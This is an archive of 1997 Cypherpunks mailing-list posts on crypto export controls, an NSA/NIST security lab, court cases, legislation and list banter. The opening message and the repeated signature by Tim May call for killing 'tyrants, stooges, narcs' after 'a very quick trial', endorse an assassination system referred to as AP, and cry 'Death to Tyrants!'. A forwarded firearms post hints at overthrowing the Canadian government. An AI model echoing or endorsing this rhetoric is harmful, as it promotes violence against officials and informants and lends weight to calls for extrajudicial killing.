Seems to me we need a system which executes these several folks. AP is
inefficient, but might work.

People call me cold-blooded, calling for the death of tyrants, stooges,
narcs, and other rifraff. But how can anyone read this story and not
realize such scum need to be given a very quick trial and then disposed of?

(This, by the way, is one reason folks should have guns in hotel rooms.
Some hotels have policies against guns, but this applies only if one is
found. And it's usually not a criminal violation, if the local gun laws
allow shopkeepers and homeowners/renters to have guns (a few places don't,
as we all know). A hotel room is one's temporary residence, as a tent in a
campground is.)

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 3 Sep 1997 04:04:22 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Things we should be working on...
In-Reply-To: <v03102808b0314226079c@[207.167.93.63]>
Message-ID: <v03102810b0321f16eff2@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 12:28 PM -0700 9/2/97, Ian Goldberg wrote:
>In article <v0310280cb031dea9cd30@[207.167.93.63]>,
>Tim May  <tcmay@got.net> wrote:
>>All credit to Goldberg and all, but hardly accomplishing  very interesting
>>goals (helps Ian get a good job, that's certainly true). Maybe it'll
>>cause slightly stronger crypto to be allowed for export...I don't really
>>care too much about that.
>>
>>In fact, the whole focus on _exports_ and doing things to make exports
>>easier is a _detour_, even a _derailment_. As I've said, I'll start
>>worrying about Netscape getting a license when they start paying me.
>>Until then, foreigners should just bypass what Netscape provides and
>>use drop-ins.
>
>I have to disagree here.  The export issue is very important to me.
>For me, crypto export isn't about Netscape getting their 128-bit crypto
>overseas; it's about me being allowed to publish my research on the net,
>or give "technical assistance" to foreigners.  As long as the current
>export regs are in place, my ability to publish, collaborate in, and
>by extension, perform, research in pure or applied cryptography is
>severely hampered.

Fair enough, and that's exactly what the focus of the Bernstein and Junger
cases is on.

The Washington nonsense would do essentially nothing about the issue of
whether crypto is speech, and might even weaken the pending legal cases.


>
>The effect the crypto regs have on me is that any time I want to actually
>_implement_ something and publish it, I have to wait for school breaks,
>go home (to Canada), do all of the work there, and publish it from there
>before I return to Berkeley.  This obviously cuts down on the rate at which
>I can get things done.  Americans don't even have this option. If not
>for problems like this, S/WAN would certainly be further along than it is
>now.

My understanding was that you had to do most of your work in Canada because
of U.S. restrictions on those with student visas?

Certainly you are just as much in violations of the EARS by going to Canada
to do your crypto work as Rivest and Company would be in by crossing into
Canada to develop stuff for RSADSI.

Am I missing something here?

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Ross Wright" <rwright@adnetsol.com>
Date: Wed, 3 Sep 1997 04:24:06 +0800
To: "cypherpunks" <cypherpunks@toad.com>
Subject: Re: Information
Message-ID: <199709022010.NAA20048@adnetsol.adnetsol.com>
MIME-Version: 1.0
Content-Type: text/plain



On or About  2 Sep 97 at 14:27, Sandromar Ferreira wrote:

> > >>>> > > > Information, please!
> > >>>> > > Dont go swimming on a full stomach.
> > >>>> > Don't "escrow" your keys.
> > >>>> Don't take advice from strangers.
> > >>>Don't ask, don't tell.
> > >>Don't eat yellow snow.
> > >Don't spit, just swallow.
> > Don't touch anything.

Don't play with that, you'll shoot your eye out.

=-=-=-=-=-=-
Ross Wright
King Media: Bulk Sales of Software Media and Duplication Services
http://www.slip.net/~cdr/kingmedia
Voice: (408) 259-2795





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Wed, 3 Sep 1997 01:27:34 +0800
To: John Young <jya@pipeline.com>
Subject: Re: NSA/NIST Security Lab
In-Reply-To: <1.5.4.32.19970902114357.0075f674@pop.pipeline.com>
Message-ID: <Pine.SUN.3.96.970902130805.26062D-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 2 Sep 1997, John Young wrote:

> NSA and NIST will set up a new lab for evaluation of 
> information-security products, including crypto algorithms:
> 
>    http://jya.com/nsa-nist.txt
> 
> The lab will coordinate with other nations. Plans include
> eventual shifting the evaluation to private testing labs
> once accreditation standards are set.
> 
> With critiques by Bruce Schneier and Steve Walker,
> and a slap from NCSA, which now provides testing,
> "They've been talking about this stuff for years."

Uh huh, yeah, we'll be getting the NSA to review security...  Joy.  I can
see it now.  "Single DES is very safe.  40 bit keys are more than
enough..."  Even with Bruce on this, it doesn't warm my trust to them...

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    |Prying open my 3rd eye.  So good to see |./|\.
..\|/..|sunder@sundernet.com|you once again. I thought you were      |/\|/\
<--*-->| ------------------ |hiding, and you thought that I had run  |\/|\/
../|\..| "A toast to Odin,  |away chasing the tail of dogma. I opened|.\|/.
.+.v.+.|God of screwdrivers"|my eye and there we were....            |.....
======================= http://www.sundernet.com ==========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 3 Sep 1997 04:33:32 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Things we should be working on...
In-Reply-To: <v03102808b0314226079c@[207.167.93.63]>
Message-ID: <v03102811b032245d2d79@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 12:28 PM -0700 9/2/97, Ian Goldberg wrote:

>The effect the crypto regs have on me is that any time I want to actually
>_implement_ something and publish it, I have to wait for school breaks,
>go home (to Canada), do all of the work there, and publish it from there
>before I return to Berkeley.  This obviously cuts down on the rate at which
>I can get things done.  Americans don't even have this option. If not
>for problems like this, S/WAN would certainly be further along than it is
>now.

One more question. Could you tell us which things you are talking about
here, which things you returned to Canada to implement?

(And was any of the "prep" work done here in the U.S.? My understanding of
the EARs is that if any of the prep work--basic research, algorithm
development, trial coding, etc.--was done in the U.S., then going to Canada
to finish and release a piece of code is no protection, and in fact
violates the EARs. This is, at least, the explanation given by RSADSI, PGP,
Netscape, etc., for why they don't simply move their crypto experts
offshore.)

In any case, Ian, I think your examples would be very interesting to hear
about. I think Dan Bernstein's "Snuffle" was not quite a serious piece of
code. By this I mean that Snuffle was never used in a major way in any
product (perhaps it could've been...I recall Schneier had some mention of
it a while back in Dr. Dobbs, and I don't mean to imply it was not a good
cipher, just that Bernstein's challenge was more to prove a legal point
than to actually get Snuffle and whatnot available for export in real
products),

Ditto for Prof. Junger, whom I don't believe was actually threatened with
prosecution. In both the Bernstein and Junger cases, and this is a credit
to their initiative, they filed premptively, so to speak. They requested
clarifications/permissions, and as Karn did, as Levien did (the t-shirt).

I have seen no evidence that those publishing academic work in the
journals, or even producing products, are being prosecuted under the ITARs
or EARs.

(The issues of whether a Web release constitutes "export" is of course a
separate--and important--issue. And the issue of whether Ian, as a
Canadian, can legally do work or sell products while on a student visa in
America, is also a separate issue.)

If you are actually going to Canada to release products, this might be even
more interesting than either the Junger or Bernstein cases. Of course, if
you discuss this openly, you may be inviting repercussions.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Wed, 3 Sep 1997 02:54:09 +0800
To: Tim May <tcmay@got.net>
Subject: Re: NSA/NIST Security Lab
In-Reply-To: <v0310280db03200b3cc75@[207.167.93.63]>
Message-ID: <199709021848.NAA10856@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <v0310280db03200b3cc75@[207.167.93.63]>, on 09/02/97 
   at 10:51 AM, Tim May <tcmay@got.net> said:

>At 10:12 AM -0700 9/2/97, Ray Arachelian wrote:

>>Uh huh, yeah, we'll be getting the NSA to review security...  Joy.  I can
>>see it now.  "Single DES is very safe.  40 bit keys are more than
>>enough..."  Even with Bruce on this, it doesn't warm my trust to them...

>Now, Ray, you're being too harsh. When NSA/NIST sought the analysis of
>Clipper/Tessera several years ago, the distinguished panel met for a
>weekend in a D.C. area hotel and concluded...drum roll...that
>Clipper/Tessera was secure.

>Of course, Matt Blaze broke the Tessera version a few months later....

>NSA has long had a dual mission. SIGINT and COMINT to break enemy
>messages, and COMSEC to help ensure national security through strong
>crypto. Code breakers and code makers.

>For government uses, this has worked pretty well, most of us would agree.
>ICBM launch codes are apparently secure, submarines can communicate
>securely, etc. (Please don't chime in with anecdotes about Walker.)

>Some believe they have a role in helping industry to secure its
>communications. I don't agree. The NSA has no business getting involved
>in business. Period.

>NIST (formerly NBS, of course) may have a role, but I doubt even this.

I do not see how NIST could have any role in the private sector as long as
they maintain their cozy relationship with the government especially the
NSA.


- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBNAxSAY9Co1n+aLhhAQH/dwP7BATbMQ8Y5/muQ2jj7XtIk8Aty6XggaAm
BC2FDwjcsWGSgj+y9jMJaHumnKbMXBtX6zZtzCWE/I6PmRD6t2vRnRwQFu/dRk1D
zPTVlIq5W54fFsESVJn36tO4BgcI+IxZx/j2K7wUwkpCMSq6aXBoNqs44bTgPPzr
q0+i/It0SHI=
=he6z
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandromar Ferreira <sandro@pop.hsbcbamerindus.com.br>
Date: Wed, 3 Sep 1997 01:43:04 +0800
To: "cypherpunks@toad.com>
Subject: Re: Information
In-Reply-To: <c=MX%a=_%p=BANACCI%l=MEX3976BCAOP-970902163606Z-18977@mex3980jarop1.BANAMEX.COM>
Message-ID: <340C4C6D.77807D84@bbamerindus.com.br>
MIME-Version: 1.0
Content-Type: text/plain



Arturo Grapa Ysunza wrote:

> >
> >
> >>Dave K-P <k.p@snet.net> writes:
> >>
> >>>> > > > Information, please!
> >>>> > > Dont go swimming on a full stomach.
> >>>> > Don't "escrow" your keys.
> >>>> Don't take advice from strangers.
> >>>Don't ask, don't tell.
> >>Don't eat yellow snow.
> >Don´t spit, just swallow.

Don't touch anything.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alec McCrackin <camcc@abraxis.com>
Date: Wed, 3 Sep 1997 04:26:00 +0800
To: Cypherpunks <cypherpunks@toad.com>
Subject: Re: Information
In-Reply-To: <c=MX%a=_%p=BANACCI%l=MEX3976BCAOP-970902163606Z-18977@mex3980jarop1.BANAMEX.COM>
Message-ID: <3.0.2.32.19970902151846.007d3c30@smtp1.abraxis.com>
MIME-Version: 1.0
Content-Type: text/plain



At 02:27 PM 9/2/97 -0300, you wrote:
|Arturo Grapa Ysunza wrote:
|
|> >>Dave K-P <k.p@snet.net> writes:
|> >>
|> >>>> > > > Information, please!
|> >>>> > > Dont go swimming on a full stomach.
|> >>>> > Don't "escrow" your keys.
|> >>>> Don't take advice from strangers.
|> >>>Don't ask, don't tell.
|> >>Don't eat yellow snow.
|> >Don´t spit, just swallow.
| >Don't touch anything.
Don't touch _there_.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <enoch@zipcon.net>
Date: Wed, 3 Sep 1997 06:34:40 +0800
To: cypherpunks@cyberpass.net
Subject: Cypherpunk Action Items
Message-ID: <19970902222123.7573.qmail@zipcon.net>
MIME-Version: 1.0
Content-Type: text/plain







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Wed, 3 Sep 1997 04:26:16 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: SSZ is moving on 9-16-97...
Message-ID: <199709022026.PAA09630@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Hi,

SSZ will be moving on the 16th. We are expecting no more than a couple of
hours of downtime.


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: National Engineering Search <nes2@nesnet.com>
Date: Wed, 3 Sep 1997 03:46:31 +0800
To: cypherpunks@Algebra.COM
Subject: Larry Weidner
Message-ID: <v03102812b032192d3334@[206.28.143.102]>
MIME-Version: 1.0
Content-Type: text/enriched



You recently requested salary data on our National Engineering Search Website.  Based on the information that you provided and your geography, our data indicates a salary range of $50 - 57k.

You have many of the skills that our client companies are seeking. We have several companies in your area, (and nationwide) with openings for which I am actively recruiting. If you know of any software or hardware engineers that are interested in looking at these opportunities, I would be glad to discuss them.

I am retained by client companies, who pay finder fees for locating great candidates. There are no expenses paid by the individual. 

National Engineering Search is a member of the largest nationwide network of technical recruiters called National Personnel Associates, so I have direct access to many opportunities nationwide.

If you are not interested in looking at new positions now, but would like me to give you a call or contact you in the future, just send me a short response telling me when to contact you. Include home phone number and the most convenient time to talk.



My e-mail address is nes2@nesnet.com. Subject - attention: Larry Weidner             

Best regards,

Larry


 ----------------------------------------------------------
National Engineering Search, LLC            (716) 248-3160
3700 East Avenue                            (716) 248-9164 fax
Rochester, NY 14618                  http://www.nesnet.com



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jf_avon@citenet.net
Date: Wed, 3 Sep 1997 04:01:41 +0800
To: cypherpunks@toad.com
Subject: Cdn-Firearms Digest V1 #974
In-Reply-To: <199709021708.LAA11034@broadway.sfn.saskatoon.sk.ca>
Message-ID: <199709021948.PAA14278@cti06.citenet.net>
MIME-Version: 1.0
Content-Type: text/plain



Excerpt from Canadian Firearms Digest V1 #974
---------------------------------------------------------------------

Date:          Tue, 2 Sep 1997 11:08:33 -0600 
From:          owner-cdn-firearms-digest@sfn.saskatoon.sk.ca 
To:            cdn-firearms-digest@broadway.sfn.saskatoon.sk.ca 
Subject:       Cdn-Firearms Digest V1 #974 
Reply-to:      cdn-firearms-digest@sfn.saskatoon.sk.ca

Date: Mon, 1 Sep 1997 20:25:42 -0600
From: "GoPlayer Kootenay" <Kootenay@goplay.com>
Subject: Is Our Government a Legitimate One?

This is really just the beginning of what I hope will turn into true
multi-logue among not only the RFC, but the Canadian people:

What makes a government, at any level, "legitimate"?  Is it a line or two
in some Statute Book or Constitution, or is it the Continued Assent of The
People That Are Governed?

I think it's the second choice; our current government at the Canadian
federal level thinks it's the first choice.

It IS "against the law" to advocate, or to attempt, the ousting of the
Canadian government by any method except by the process of voting.

These laws were framed in a day when the ideals of Democracy were held high
by Government, and the rights of the individual were of the order that the
Libertarian movement advocate today.  Government RESPECTED the wishes of
the people, and generally didn't try to do any propaganda to mould public
opinion (except in time of war against the common foe).

In turn, the People respected their Government(s) and their laws and
statutes, because their elected representatives truly strove to REPRESENT
their constituents, and their concerns.  Prime Ministers did not beat up on
MPs that spoke their minds in favour of the folks "back home" in the
Riding.  Members of Parliament and Legislatures were honour-bound to resign
at the first hint of involvement in Scandal.

Times have changed.

The Canadian People no longer respect their government, by and large.
They do not believe that their elected representatives are much better than
confidence-men.  Canadians know that MP's and Members of Legislatures will
follow what the Party Leader and his Cabinet decree.
Ministers and Members no longer think of Scandal as something repugnant to
Honour -- just as a temporary embarrassment.  Their Leaders rarely pressure
them to resign.  

Democracy is a mere shell of what it once was.  Justice peeks through her
blindfold when it suits her.

Canadian Government has lost its legitimacy.  It no longer has the True
Assent of the People; it keeps its power by increasing its level of visible
intimidation of the People, relying on Rule-by-Statute and  Orders-In-Council.

Canadians increasingly are afraid of their Government.  And the Government
knows that.  

In turn, the Government is increasingly estranged from the People, and
passes Laws to coerce "desired behaviour", rather than Good Law that is a
REFLECTION of the Peoples' morals and standards.

I'm sure most of you have noticed the steep rise in the use of SWAT units
to attend incidents where conventional uniformed police officers would have
been the norm a decade ago.

I'm certain that you have noticed an increasing lack-of-regard by the
police for the rights of the Public.

I know that most of you are aware that the police are tending to over-react
in many clearly non-threatening situations -- take the Chilliwack BB gun
incident, for example.

And our police do what they are told by their bosses.

Just like good little Germans did what they were told by their bosses not
so long ago.

Good little Canadians are becoming "good little Germans".  Only the
uniforms are different.  

When the Russians had had enough of their pre-1917 totalitarian royalist
regime, they backed an equally-repressive revolutionary Communist regime.
It took them over 70 years to dump that one.

People will always opt for a "change", when they are pushed far enough.  

Bills C-17 and C-68 are just two examples of the Canadian government's
thinking, "Perhaps the People *have* been pushed nearer the breaking point".

It's food for careful thought.  And speech.  Shhhhh!    


- ------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <enoch@zipcon.net>
Date: Wed, 3 Sep 1997 07:07:28 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Death Pictures of Diana on InterNet!!!
Message-ID: <19970902225403.9059.qmail@zipcon.net>
MIME-Version: 1.0
Content-Type: text/plain



Nobody writes:

> Made you look!

> "We have met the public, and he is _us_."

> UsMonger

Now that pictures of Princess Diana trapped in the wreckage have been
printed in European tabloids, it is only a matter of time before someone
scans them and posts them to alt.binaries.pictures.tasteless.

Clicking on such pictures, of course, is not the moral equivalent of
having personally run Princess Diana off the road, regardless of what your
neighborhood CPAC member would like you to believe.

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch@zipcon.com   $    via Finger                       $
         {Free Cypherpunk Political Prisoner Jim Bell}





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Wed, 3 Sep 1997 07:14:20 +0800
To: tcmay@got.net
Subject: Re: You really do want to volunteer, don't you? (fwd)
In-Reply-To: <Pine.SOL.3.96.970902154039.1031A-100000@rigel.cyberpass.net>
Message-ID: <3.0.3.32.19970902160546.00934b10@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:

>>>This was an actual case, heard by the Supreme Court several years back. Bus
>>>passengers were given the opportunity to volunteer, as noted. Failure to
>>>volunteer was construed as probable cause that contraband was present.
>>>
>>>(No, I don't know the name of the case. My recollection is that it took
>>>place in Florida or one of the Carolinas. Nor do I recollect how the
>>>Supremes decided the case...
>>
>>This sounds like _Florida v. Bostick_, 501 U.S. 429 (1991), on the web at
>><http://www.findlaw.com/scripts/getcase.pl?court=US&navby=case&vol=501&invol
>>=429>.
>>
>>Bill Stewart's summary of the case looked like a good one to me.
>[...]
>
>One strategy I've considered is to never, never, ever admit that I don't
>know something, as this will forestall the corrections, expansions,
>clarifications, and citings.

One of the things that is - or can be - useful about a cross-disciplinary
list like cpunks is that it's possible to read messages written by people
who appear to have knowledge about other unfamiliar-to-the-reader fields,
and have some confidence that the author isn't completely screwing up what
they're writing about, because other list members are likely to speak up
and say "Hey, you're not really getting that right..".

I provided a case cite and agreed with Bill Stewart's reframing of the
issues in the _Bostick_ case not because I imagined that it was especially
interesting to you (Tim), but because I think we all lose out when bad
information (like, for example, the idea that _Bostick_ is about probable
cause, or that it held that failure to volunteer constitutes probable
cause) is circulated, especially by people who are otherwise credible
authors/speakers. 

A more useful way to avoid corrections/citations/clarifications might be
simply getting the details correct in the first place.


--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vijo Cherian <vijo@vikram.svrec.ernet.in>
Date: Tue, 2 Sep 1997 18:58:54 +0800
To: Tim May <tcmay@got.net>
Subject: Re: India's Crypto Laws
In-Reply-To: <v0310280ab0316a768034@[207.167.93.63]>
Message-ID: <Pine.LNX.3.93.970902155742.24723A-100000@vikram.svrec.ernet.in>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 2 Sep 1997, Tim May wrote:

You ->>Well, for starters, what are the laws about crypto use in India?
  About crypto ,Indian law is silent...it does not put any restriction on 
individuals selling or explaining their algo or anything like that

You ->>(I'm serious. None of our Indian list subscribers, that I can recall, has
You ->>carefully stated what the Indian laws are.)
You ->>
You ->>If it isn't illegal in India, what do you care what some laws in the U.S.A.
You ->>say?
 OK I will make it little more clear.I meant --I donot want anyone to
break the law for me... and i donot what the laws are....Or how they
censorship ......or anything like that

You ->>I certainly don't let whatever the laws are in India, or Botswana, or
You ->>Germany, or Latvia dictate my actions in the U.S.
 Even I donot 

You ->>So, when you say "I donot want to break any law," how do you think you
You ->>could be breaking any laws that bind you?
 As I mentioned before,I did not make myself very clear when i told that. 

You ->>(If you are concerned that using DES could cause you to be subject to
You ->>kidnapping and wrapping in a Persian carpet by one of the NSA's snatch
You ->>teams, I expect you have little to worry about. Noriega was kidnapped and
You ->>spirited out of Panama because he knew the details of Bush's CIA dealings
You ->>in Panama. I expect you have nothing that scares them.)
 I never knew of all these........

Ok but the basic question remains
      CAN YOU HELP ME????
I am just starting my work for a paper on encryption algorithms.I am quite
new in the feild....so just need some help
TIA,
vijo
***********                                        
           _/        _/                      Vijo Cherian
            _/      _/                Final year undergraduate student,       
             _/    _/   _/   _/      /__/_/     Computer Engineering,
              _/  _/    _/   _/    /       |/   SVREC,Surat
                _/      _/   _/    |       |/   India
                             _/    |       |/
 vijo@svrec.ernet.in    _/   -/     \____ /
                        -/_/_/    ***************************************    
                        





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Joe Spainhour <spainhou@giex.coastalnet.com>
Date: Wed, 3 Sep 1997 04:40:38 +0800
To: cypherpunks@toad.com
Subject: Re: Information
Message-ID: <199709022025.QAA20934@giex.coastalnet.com>
MIME-Version: 1.0
Content-Type: text/plain




> |> >>Dave K-P <k.p@snet.net> writes:
> |> >>
> |> >>>> > > > Information, please!
> |> >>>> > > Dont go swimming on a full stomach.
> |> >>>> > Don't "escrow" your keys.
> |> >>>> Don't take advice from strangers.
> |> >>>Don't ask, don't tell.
> |> >>Don't eat yellow snow.
> |> >Don´t spit, just swallow.
> | >Don't touch anything.
> Don't touch _there_.
Never piss into the wind.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Wed, 3 Sep 1997 05:57:04 +0800
To: cypherpunks@Algebra.COM
Subject: Re: 90 degree turn Re: Socio-Economic Cults (Re: Cypherpunk  Cults)
Message-ID: <199709022146.RAA13693@www.video-collage.com>
MIME-Version: 1.0
Content-Type: text/plain



At 01:45 PM 8/30/97 -0700, Bill Stewart wrote:
>At 08:57 PM 8/28/97 -0400, I wrote:
>>I didn't find out about the Japaneese concentration camps until after I saw
>>the karate kid and had it explained to me.  As I had most of my high school
>>career ahead of me at the time, that much info should have made me aware of
>>the lessons covering them in my various high school history classes.  Nearly
>>every history class I have had has either stopped sometime around the end of
>>the civil war, stayed in Oklahoma, ...
>
>	Did the "Trail of Tears" expulsion of the Cherokee to
>	Oklahoma get covered?
>
Yes, it was covered.  One chief's wife was commended on her bravery and
self-sacrifice for giving her blanket to another woman, (and subsequently
freezing to death, or something similar.)  The blame was pinned on
sub-contractors who were charged with feeding the Cherokee people but who
often didn't, or who often left the food out hours in advance to spoil.
In this particular Oklahoma history class lesson.  Not once was an Oklahoman
held responsible for the death of so many people.  Most of it was given to
the people occupying the states between Oklahoma and, I believe, Florida.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jonathan Wienke <JonWienk@ix.netcom.com>
Date: Wed, 3 Sep 1997 09:43:25 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Information
In-Reply-To: <199709020326.XAA00192@crypt.com>
Message-ID: <3.0.3.32.19970902182818.006e2bac@popd.netcruiser>
MIME-Version: 1.0
Content-Type: text/plain



At 08:00 PM 9/1/97 EDT, Dr.Dimitri Vulis KOTM wrote:
>> > > > Information, please!
>> > > Dont go swimming on a full stomach.
>> > Don't "escrow" your keys.
>> Don't take advice from strangers.
>Don't ask, don't tell.
Never buy toilet paper, toothbrushes, or tampons at the Goodwill store.

Jonathan Wienke

What part of "the right of the people to keep and bear Arms, shall not be
infringed" is too hard to understand? (From 2nd Amendment, U.S. Constitution)

When everyone is armed, criminals fear everyone, not just the police.

PGP 2.6.2 RSA Key Fingerprint: 7484 2FB7 7588 ACD1  3A8F 778A 7407 2928
DSS/D-H Key Fingerprint: 3312 6597 8258 9A9E D9FA  4878 C245 D245 EAA7 0DCC
Public keys available at pgpkeys.mit.edu. PGP encrypted e-mail preferred.

US/Canadian Windows 95/NT or Mac users:
Get Eudora Light + PGP 5.0 for free at http://www.eudora.com/eudoralight/
Get PGP 5.0 for free at http://bs.mit.edu:8001/pgp-form.html

Other PGP 5.0 sources:
http://www.ifi.uio.no/pgp/
http://www.heise.de/ct/pgpCA/download.shtml
ftp://ftp.pca.dfn.de/pub/pgp/V5.0/
ftp://ftp.fu-berlin.de/pub/pc/win95/pgp
ftp://ftp.fu-berlin.de/pub/mac/pgp
http://www.shopmiami.com/utopia.hacktic.nl/pub/replay/pub/pgp/pgp50/win/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: iang@cs.berkeley.edu (Ian Goldberg)
Date: Wed, 3 Sep 1997 03:38:28 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Things we should be working on...
In-Reply-To: <v03102808b0314226079c@[207.167.93.63]>
Message-ID: <5uhpc1$vf2$1@abraham.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain



In article <v0310280cb031dea9cd30@[207.167.93.63]>,
Tim May  <tcmay@got.net> wrote:
>All credit to Goldberg and all, but hardly accomplishing  very interesting
>goals (helps Ian get a good job, that's certainly true). Maybe it'll
>cause slightly stronger crypto to be allowed for export...I don't really
>care too much about that.
>
>In fact, the whole focus on _exports_ and doing things to make exports
>easier is a _detour_, even a _derailment_. As I've said, I'll start
>worrying about Netscape getting a license when they start paying me.
>Until then, foreigners should just bypass what Netscape provides and
>use drop-ins.

I have to disagree here.  The export issue is very important to me.
For me, crypto export isn't about Netscape getting their 128-bit crypto
overseas; it's about me being allowed to publish my research on the net,
or give "technical assistance" to foreigners.  As long as the current
export regs are in place, my ability to publish, collaborate in, and
by extension, perform, research in pure or applied cryptography is
severely hampered.

The effect the crypto regs have on me is that any time I want to actually
_implement_ something and publish it, I have to wait for school breaks,
go home (to Canada), do all of the work there, and publish it from there
before I return to Berkeley.  This obviously cuts down on the rate at which
I can get things done.  Americans don't even have this option. If not
for problems like this, S/WAN would certainly be further along than it is
now.

   - Ian





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 3 Sep 1997 08:04:49 +0800
To: cypherpunks@toad.com
Subject: WIPO Implementing Legislation
Message-ID: <v031107b5b03254bd18ef@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


X-Sender: kaye@popd.ix.netcom.com
X-Priority: 2 (High)
Date: Mon, 01 Sep 1997 14:22:54 -0700
To:
From: Kaye Caldwell <KCaldwell@commerce.net>
Subject: WIPO Implementing Legislation
Mime-Version: 1.0
Sender: member-sponsored-owner@commerce.net
Precedence: bulk

+----------------------------------------------------------------------+
This message was addressed to:  member-sponsored@lists.commerce.net
+----------------------------------------------------------------------+
TO: CommerceNet Members

A member company has asked that we consider whether CommerceNet joins in
the concern, as expressed by the Online Banking Association, that some
provisions of HR 2281, the legislation implementing the WIPO treaties,
undermine the objectives of the SAFE bill and have a negative effect on the
development of encryption technologies.

Specifically their concern is that Section 1201(a) will effectively
prohibit encryption research and development in that it prohibits the
manufacture and use of decryption technologies, which are used to test
encryption technologies and make them more secure.  They suggest that
section (a) needs to be redrafted to prohibit the use of decryption
technology to obtain unauthorized access to encryption works.

My recommendation is that CommerceNet join in this concern and the
recommendation for resolving it.  Please let me know if your companies have
any objection to CommerceNet doing so.

Additional background information is available below.

- Kaye Caldwell
CommerceNet Policy Director

